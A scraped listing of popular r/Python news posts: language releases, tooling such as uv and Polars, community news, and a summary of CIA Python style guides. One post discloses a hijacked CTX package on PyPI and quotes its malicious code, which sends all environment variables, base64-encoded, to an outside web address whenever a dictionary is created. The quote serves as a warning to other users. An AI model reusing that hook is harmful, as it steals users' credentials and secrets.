r/Python 12d ago

News Summarized how the CIA writes Python

1.1k Upvotes

I have been going through Wikileaks and exploring Python usage within the CIA.

They have coding standards and write Python software with end-user guides.

They also have some curious ways of doing things, tests for example.

They also like to work in internet-disconnected environments.

They based their conventions on a modified Google Python Style Guide, with practical advice.

Compiled my findings.

r/Python Oct 25 '24

News This is now valid syntax in Python 3.13!

429 Upvotes

There are a few changes that didn't get much attention in the last releases, and one of them is that comprehensions and lambdas can now be used in annotations (the place where you put type hints).

As the article mentions, this came from a bug tickets that requested this to work:

class name_2[*name_5, name_3: int]:
    (name_3 := name_4)

    class name_4[name_5: name_5]((name_4 for name_5 in name_0 if name_3), name_2 if name_3 else name_0):
        pass

Here we have a walrus, unpacking, type vars and a comprehension all in one. I tried it in 3.13 (you gotta create a few variables), and yes, it is now valid syntax.

I don't think I have any use for it (except the typevar, it's pretty sweet), but I pity the person that will have to read that one day in a real code base :)

r/Python Sep 16 '20

News An update on Python 4

Post image
3.3k Upvotes

r/Python Aug 20 '24

News uv: Unified Python packaging

586 Upvotes

https://astral.sh/blog/uv-unified-python-packaging

This is a new release of uv that moves it beyond just a pip alternative. There's cross platform lock files, tool management, Python installation, script execution and more.

r/Python May 24 '22

News I think the CTX package on PyPI has been hacked!

1.8k Upvotes

There was a post here recently about an update to the CTX package. A simple package that allow you to access dictionary items using the dot notation (a_dict['key'] becomes a_dict.key). The post is here and OP was SocketPuppets

That package had not changed in 8 years. The OP said it was recently updated, and on PyPI it was updated as of May 21st. But the Github repo does not reflect any changes (it still 8 years old). When asked about it OP said it was copied to a corporate repo and that he would update the original repo.

Out of curiosity I downloaded the source code from PyPI and look what I found! It seems like every time you create a dictionary it sends all your environment variables to a URL. That's not kosher.

    def __init__(self):
        self.sendRequest()
    .
    .  # code that performs dict access
    .  # please DO NOT RUN THIS CODE !

     def sendRequest(self):
        string = ""
        for _, value in environ.items():
            string += value+" "

        message_bytes = string.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')

        response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

I'm not a professional python programmer, just a retired, old CS graduate. Can someone raise that up to the proper "authorities" please.

Thanks.

r/Python Oct 19 '23

News I'm banned for life from advertising on Meta. Because I teach Python

Thumbnail lerner.co.il
1.2k Upvotes

r/Python Nov 12 '20

News Guido van Rossum joins Microsoft

Thumbnail
twitter.com
1.8k Upvotes

r/Python Nov 13 '24

News uv after 0.5.0 - might be worth replacing Poetry/pyenv/pipx

392 Upvotes

uv is rapidly maturing as an open-source tool for Python project management, reaching a full-featured capabilities with recent versions 0.4.27 and 0.5.0, making it a strong alternative to Poetry, pyenv, and pipx. However, concerns exist over its long-term stability and licensing, given Astral's venture funding position.

https://open.substack.com/pub/martynassubonis/p/python-project-management-primer-a55

r/Python Oct 07 '24

News Python 3.13 released

620 Upvotes

https://www.python.org/downloads/release/python-3130/

This is the stable release of Python 3.13.0

Python 3.13.0 is the newest major release of the Python programming language, and it contains many new features and optimizations compared to Python 3.12. (Compared to the last release candidate, 3.13.0rc3, 3.13.0 contains two small bug and some documentation and testing changes.)

Major new features of the 3.13 series, compared to 3.12

Some of the new major new features and changes in Python 3.13 are:

New features

  • A new and improved interactive interpreter, based on PyPy's, featuring multi-line editing and color support, as well as colorized exception tracebacks.
  • An experimental free-threaded build mode, which disables the Global Interpreter Lock, allowing threads to run more concurrently. The build mode is available as an experimental feature in the Windows and macOS installers as well.
  • A preliminary, experimental JIT, providing the ground work for significant performance improvements.
  • The locals() builtin function (and its C equivalent) now has well-defined semantics when mutating the returned mapping, which allows debuggers to operate more consistently.
  • A modified version of mimalloc is now included, optional but enabled by default if supported by the platform, and required for the free-threaded build mode.
  • Docstrings now have their leading indentation stripped, reducing memory use and the size of .pyc files. (Most tools handling docstrings already strip leading indentation.)
  • The dbm module has a new dbm.sqlite3 backend that is used by default when creating new files.
  • The minimum supported macOS version was changed from 10.9 to 10.13 (High Sierra). Older macOS versions will not be supported going forward.
  • WASI is now a Tier 2 supported platform. Emscripten is no longer an officially supported platform (but Pyodide continues to support Emscripten).
  • iOS is now a Tier 3 supported platform.
  • Android is now a Tier 3 supported platform.

Typing

  • Support for type defaults in type parameters.
  • A new type narrowing annotation, typing.TypeIs.
  • A new annotation for read-only items in TypeDicts.
  • A new annotation for marking deprecations in the type system.

Removals and new deprecations

  • PEP 594 (Removing dead batteries from the standard library) scheduled removals of many deprecated modules: aifc, audioop, chunk, cgi, cgitb, crypt, imghdr, mailcap, msilib, nis, nntplib, ossaudiodev, pipes, sndhdr, spwd, sunau, telnetlib, uu, xdrlib, lib2to3.
  • Many other removals of deprecated classes, functions and methods in various standard library modules.
  • C API removals and deprecations. (Some removals present in alpha 1 were reverted in alpha 2, as the removals were deemed too disruptive at this time.)
  • New deprecations, most of which are scheduled for removal from Python 3.15 or 3.16.

More details at https://docs.python.org/3.13/whatsnew/3.13.html

r/Python Oct 24 '22

News Python 3.11 is out! Huzzah!

1.3k Upvotes

https://www.python.org/downloads/release/python-3110/

Some highlights from the release notes:

PERFORMANCE: 10-60% faster code, for free!

ERROR HANDLING: Exception groups and except* syntax. Also includes precise error locations in tracebacks.

ASYNCIO: Task groups

TOML: Ability to parse TOML is part of the standard library.

REGEX: Atomic grouping and possessive quantifiers are now supported

Plus changes to typing and a lot more. Congrats to everyone that worked hard to make this happen. Your work is helping millions of people to build awesome stuff. 🎉

r/Python Jul 01 '24

News Python Polars 1.0 released

650 Upvotes

I am really happy to share that we released Python Polars 1.0.

Read more in our blog post. To help you upgrade, you can find an upgrade guide here. If you want see all changes, here is the full changelog.

Polars is a columnar, multi-threaded query engine implemented in Rust that focusses on DataFrame front-ends. It's main interface is Python. It achieves high performance data-processing by query optimization, vectorized kernels and parallelism.

Finally, I want to thank everyone who helped, contributed, or used Polars!

r/Python Apr 29 '24

News Google laysoff Python maintainer team

507 Upvotes

r/Python Oct 02 '23

News Python 3.12 released

Thumbnail
python.org
811 Upvotes

r/Python Jan 09 '24

News Breaking news: Python 3.13 gets a JIT compiler that will enable big optimizations in the future.

725 Upvotes

Exciting news here: https://tonybaloney.github.io/posts/python-gets-a-jit.html

This is just the first step for Python to enable optimizations not possible now.

Do not expect much from it since this is a first step to optimization. In the future this JIT will enable further performance improvements not possible now.

r/Python Jan 04 '21

News A new kind of Progress Bar for Python

2.1k Upvotes

A new kind of Progress Bar for Python, with some very cool animations!

I've made a new kind of progress bar for python! With some very cool animations and a smorgasbord of built-in styles!

https://github.com/rsalmei/alive-progress

alive-progress overview

The spinners and unknown bars have a plethora of effects!

alive-progress styles

The bars themselves also have several styles.

alive-progress bars

It also includes cool zero-hassle print and logging hooks, which are always enabled!

alive-progress print hook

To use it, just "pip install alive-progress" and you're good to go!
More details in https://github.com/rsalmei/alive-progress

That's it, hope you like it!

r/Python Aug 10 '24

News The Shameful Defenestration of Tim

240 Upvotes

Recently, Tim Peters received a three-month suspension from Python spaces.

I've written a blog post about why I consider this a poor idea.

https://chrismcdonough.substack.com/p/the-shameful-defenestration-of-tim

r/Python May 26 '21

News Python is now the second most popular language in the world according to TIOBE. This is the highest position that Python reaches since 2001.

Thumbnail
tiobe.com
1.5k Upvotes

r/Python Nov 05 '20

News Stack overflow traffic to questions about selected python packages

Post image
2.2k Upvotes

r/Python Apr 29 '23

News You can't use pip on Ubuntu 23.04 anymore

520 Upvotes

so long story short you won't be able to run pip install x anymore. The reason why the command doesn’t work in Ubuntu 23.04 is because of an intentional shift in policy to avoid conflicts between the Python package manager(pip) and Ubuntu’s underlying APT. You can now only use pip by creating a virtual environment with venv. My question is, is this a good thing or a bad thing? is it a good move from Ubuntu's team or not? being able to use pip only from a virtual environment. idk what do you guys think about the whole thing?

r/Python Sep 17 '24

News GPU acceleration released in Polars

534 Upvotes

Together with NVIDIA RAPIDS we (the Polars team) have released GPU-acceleration today. Read more about the implementation and what you can expect:

https://pola.rs/posts/gpu-engine-release/

r/Python Feb 15 '21

News Ladies and gentlemen - switch cases are coming!

Thumbnail
github.com
935 Upvotes

r/Python Mar 03 '23

News Python 3.12: A Game-Changer in Performance and Efficiency

Thumbnail
python.plainenglish.io
842 Upvotes

r/Python Oct 04 '21

News Python 3.10 Released!

Thumbnail
python.org
1.4k Upvotes

r/Python Oct 23 '20

News The youtube-dl GitHub repo has received a DMCA takedown request from the RIAA

Thumbnail
github.com
1.3k Upvotes

r/Python Sep 25 '21

News Python just surpassed Java as the 2nd programming language with the highest number of questions in SO.

Thumbnail
stackoverflow.com
1.4k Upvotes